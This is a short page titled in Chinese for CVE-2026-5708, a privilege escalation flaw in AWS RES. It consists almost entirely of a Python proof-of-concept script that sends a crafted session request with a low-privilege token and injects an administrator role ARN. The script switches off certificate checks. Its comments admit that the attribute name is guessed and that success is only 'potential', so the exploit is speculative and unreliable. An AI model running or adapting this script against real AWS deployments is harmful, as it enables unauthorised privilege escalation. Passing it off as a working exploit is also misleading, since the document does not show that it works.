CVE-2026-5708 AWS RES权限提升漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5708: Privilege Escalation in AWS RES # This script demonstrates how a crafted API request might exploit unsanitized attributes. import requests import json # Configuration TARGET_URL = "https://<aws-res-host>/api/v1/sessions" AUTH_TOKEN = "<low_priv_user_token>" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious payload attempting to assume instance profile permissions # The specific attribute name depends on the actual implementation details payload = { "sessionName": "exploit_session", "instanceProfileArn": "arn:aws:iam::<account-id>:instance-profile/RES-Host-Instance-Profile", "userAttributes": { "roleArn": "arn:aws:iam::<account-id>:role/AdminRole" } } try: response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] Session created potentially with escalated privileges.") print(f"[+] Response: {response.text}") else: print("[-] Request failed.") print(f"[-] Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")